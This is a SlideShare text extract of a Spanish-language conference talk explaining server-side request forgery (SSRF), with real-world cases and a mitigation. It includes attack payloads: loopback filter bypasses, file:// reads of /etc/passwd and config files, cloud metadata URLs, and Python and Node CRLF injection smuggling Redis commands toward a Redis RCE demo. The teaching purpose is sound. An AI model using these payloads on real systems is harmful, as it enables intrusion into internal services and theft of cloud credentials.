SlideShare una empresa de Scribd logo
SSRF, la vulnerabilidad de las
aplicaciones web modernas.
Efrén Díaz & Gonzalo García.
Confidencial Personalizado para Nombre de la empresa Versión 1.0
$ whoami
Efrén Díaz Gonzalo García
Analistas de seguridad web y de sistemas en Open Data Security
Aplicaciones web modernas.
Frontend
Redis Elasticsearch
Backend
AWS/Google Cloud/Azure
Memcached
BBDD
Graphite
http://app.myapp.com/fetch?url=http://www.example.com/resource
¿Qué es Server Side Request Forgery?
Frontend return curl(get[“url”])
Recurso
externo
http://app.myapp.com/fetch?url=http://127.0.0.1:9200
¿Qué es Server Side Request Forgery?
IP Interna
Frontend
Elasticsearch
Backend
:9200
¿Qué es Server Side Request Forgery?
SSRF
¿Por qué Server Side Request Forgery?
RCE en Github Enterprise (2 SSRF + CRLF Injection + Ruby Object Unmarshall) de
“Orange Tsai” (12.500$)
http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
HashiCorp Consul RCE vía SSRF de Peter Adkins http://www.kernelpicnic.net/2017/05/29/Pivoting-from-
blind-SSRF-to-RCE-with-Hashicorp-Consul.html
Shopify RCE vía SSRF de André Baptista (25.000$)
https://hackerone.com/reports/341876
Google conexión a servicios internos vía SSRF https://www.rcesecurity.com/2017/03/ok-
google-give-me-all-your-internal-dns-information/
http://app.myapp.com/fetch?url=file:///etc/passwd
¿Qué es Server Side Request Forgery?
http://app.myapp.com/fetch?url=gopher://127.0.0.1:6379
http://app.myapp.com/fetch?url=http://169.254.169.254
Protocol smuggling
Caso SSRF
¿Qué solución propondrían al
siguiente pseudocódigo vulnerable?
Caso SSRF
url = params[url];
if ( is_valid_uri(url) ) {
content = curl(url); // Do a curl request
return url;
}
http://app.myapp.com/fetch?url=http://www.example.com/resource
http://app.myapp.com/fetch?url=http://localhost:8080/jmx-console
Sobrepasando filtros contra SSRF
http://127.0.0.1/
Formas válidas de referenciar “loopback”.
http://localhost/
http://[::]/
http://0000::1/
http://2130706433/
http://0177.0.0.1/
http://0.0.0.0/
http://0/
http://127.0.0.1.nip.io/
Sobrepasando filtros contra SSRF
RFC 3986 - El cacao de las URL
http://www.google.com#@localhost:8888/
import urllib, urllib2
from urlparse import urlparse
url = "http://www.google.com#@localhost:8888/"
parsed = urlparse(url).netloc
print "Host: " + parsed
urllib.urlopen(url)
www.google.com
localhost:8888
Python 2.7.15
SSRF, la vulnerabilidad de las aplicaciones web modernas
Solución contra SSRF
url = params[url];
if ( is_public(ip2dec(gethostbyname(url)))){
<code>
}
Resolver la IP y comprobar que sea externa, si en nuestra aplicación usamos curl también
tener cuidado con los redirects.
pseudocódigo
Vamos con lo divertido, a
explotar!
Explotando SSRF
http://
https://
gopher://
file://
dict://
scp://
ftp://
tftp://
ldap://
Distintas librerías y distintos lenguajes soportan distintos protocolos, los más
comunes son:
Explotando SSRF
/etc/mysql/my.cnf
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/redis/redis.conf
/usr/local/etc/mongod.conf
/etc/elasticsearch/elasticsearch.yml
etc, etc, etc...
Con el wrapper file:// podremos leer ficheros de la máquina siempre que conozcamos la
ruta absoluta, lo que se conoce como un Local File Disclosure de toda la vida :D
Tratándose de un servidor web algunos ficheros interesantes serían:
Explotando SSRF
http://localhost:28017/api/:collection
http://localhost:9200/_cat/indices?v
El wrapper http:// nos servirá cuando queramos atacar a servicios que corran bajo
protocolo http como por ejemplo Elasticsearch, MongoDB (no por defecto), etc...
Listar una conexión de MongoDB mediante REST API:
Obtener índices de Elasticsearch:
(SSRF + Amazon | Google Cloud | Azure) == PWND!
SSRF en Amazon Web Services / Google Cloud / Azure
AWS: http://169.254.169.254/latest/meta-data/
GCloud: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance/
Metadatos de la instancia son accedidos vía HTTP Rest API
Cuando solo podemos utilizar HTTP…
Petición HTTP
Redis interpreta cada
línea de la petición
como un comando.
Inyección de cabeceras.
Python 2.7.15
import urllib, urllib2
urllib.urlopen('http://127.0.0.1rnx20setx20keyx20valuern
:8888')
Cabecera redis
inyectada
Inyección de cabeceras.
NodeJS 8.11.1 (LTS)
const http = require('http');
http.get("http://127.0.0.1:8888/ rnset key valuern")
Saltos de línea
y espacios son
encodeados en
“URL Encode”
Inyección de cabeceras.
NodeJS 8.11.1 (LTS)
const http = require('http');
http.get("http://127.0.0.1:8888/ -*set@key@value-*")
Cabecera redis
inyectada
- U+FF0D
* U+FF0A
@ U+FF20
r 0D
n 0A
esp 20
VAMOS A LA DEMO!
SSRF A RCE CON REDIS
Cockpit CMS /package.json 0.5.5
exploit-db ¡SSRF! SSRF Scan
¡Redis!
Full Path
Disclosure
PWND!

Más contenido relacionado

PDF
Introduction to Hive and HCatalog
PPTX
Subject Headings Authority File for Filipiniana materials / Annelyn C. Kim an...
PDF
Tips & Tricks for Apache Kafka®
PPT
Chapter 28 Power Point
PDF
Introducción a Servidor HTTP Apache
PPTX
Servidor http(web)
PDF
PDF
Ruby on the Rails
Introduction to Hive and HCatalog
Subject Headings Authority File for Filipiniana materials / Annelyn C. Kim an...
Tips & Tricks for Apache Kafka®
Chapter 28 Power Point
Introducción a Servidor HTTP Apache
Servidor http(web)
Ruby on the Rails

Similar a SSRF, la vulnerabilidad de las aplicaciones web modernas (20)

PDF
Android reversing 101.pdf
PDF
Apli t1 ejr
PDF
Servicio apache gnu linux-centos ::: http://leymebamba.com
PDF
Seguridad en Apache
DOCX
Php tarea
PDF
Microservicios sobre MEAN Stack
PDF
Opensouthcode: Microservicios sobre MEAN Stack
PPT
Servidor NfS
PPT
Servidor NfS
PPTX
Tarea de apache
PDF
Manual Apache,Php,Netbeans,Postgre Sql
PDF
Manual De Netbeans Y Postgres
PDF
Manualapachephpnetbeanspostgresqlphpapp02
DOCX
Tutorial php basico
PPTX
Servidores web apache
PPTX
Servidores web
PDF
IntelCon 2020: Uso avanzado de ZAP para hacking en aplicaciones web
PPTX
Servidor http
PDF
Tecnologías para microservicios
PPTX
servidores web
Android reversing 101.pdf
Apli t1 ejr
Servicio apache gnu linux-centos ::: http://leymebamba.com
Seguridad en Apache
Php tarea
Microservicios sobre MEAN Stack
Opensouthcode: Microservicios sobre MEAN Stack
Servidor NfS
Servidor NfS
Tarea de apache
Manual Apache,Php,Netbeans,Postgre Sql
Manual De Netbeans Y Postgres
Manualapachephpnetbeanspostgresqlphpapp02
Tutorial php basico
Servidores web apache
Servidores web
IntelCon 2020: Uso avanzado de ZAP para hacking en aplicaciones web
Servidor http
Tecnologías para microservicios
servidores web
Publicidad

Último (17)

PDF
Herramientaa de google google keep, maps.pdf
PPTX
presentación sobre Programación SQL.pptx
PPTX
Evolución de la computadora ACTUALMENTE.pptx
PPTX
FUNCIONES DE CLASSROOM EN EL FUNCIONAMIENTO ESCOLAR
PPT
redes.ppt unidad 2 perteneciente a la ing de software
PDF
CAPACITACIÓN MIPIG - MODELO INTEGRADO DE PLANEACIÓN Y GESTIÓN
PDF
.GUIA DE GUIA DE TRABAJO NUEVO TESTAMENTO.pdf
PDF
Libro de Oraciones guia virgen peregrina
DOCX
ESTRATEGIA DE APOYO TECNOLOGÍA 2 PERIODO
PDF
COSMIC_DANCER_ORACLE.pdf tarot oráculo cartas
PPTX
Informática e inteligencia artificial (2).pptx
PDF
[Ebook gratuito] Introducción a la IA Generativa, Instalación y Configuración...
PDF
LA INTELIGENCIA ARTIFICAL SU HISTORIA Y EL FUTURO
PPTX
presentacion_energias_renovables_renovable_.pptx
PPTX
Qué es Google Classroom Insertar SlideShare U 6.pptx
PPTX
PRESENTACION NIA 220 idhsahdjhJKSDHJKSHDJSHDJKHDJHSAJDHJKSAHDJkhjskdhasjdhasj...
PPTX
Plantilla-Hardware-Informático-oficce.pptx
Herramientaa de google google keep, maps.pdf
presentación sobre Programación SQL.pptx
Evolución de la computadora ACTUALMENTE.pptx
FUNCIONES DE CLASSROOM EN EL FUNCIONAMIENTO ESCOLAR
redes.ppt unidad 2 perteneciente a la ing de software
CAPACITACIÓN MIPIG - MODELO INTEGRADO DE PLANEACIÓN Y GESTIÓN
.GUIA DE GUIA DE TRABAJO NUEVO TESTAMENTO.pdf
Libro de Oraciones guia virgen peregrina
ESTRATEGIA DE APOYO TECNOLOGÍA 2 PERIODO
COSMIC_DANCER_ORACLE.pdf tarot oráculo cartas
Informática e inteligencia artificial (2).pptx
[Ebook gratuito] Introducción a la IA Generativa, Instalación y Configuración...
LA INTELIGENCIA ARTIFICAL SU HISTORIA Y EL FUTURO
presentacion_energias_renovables_renovable_.pptx
Qué es Google Classroom Insertar SlideShare U 6.pptx
PRESENTACION NIA 220 idhsahdjhJKSDHJKSHDJSHDJKHDJHSAJDHJKSAHDJkhjskdhasjdhasj...
Plantilla-Hardware-Informático-oficce.pptx
Publicidad

SSRF, la vulnerabilidad de las aplicaciones web modernas

Notas del editor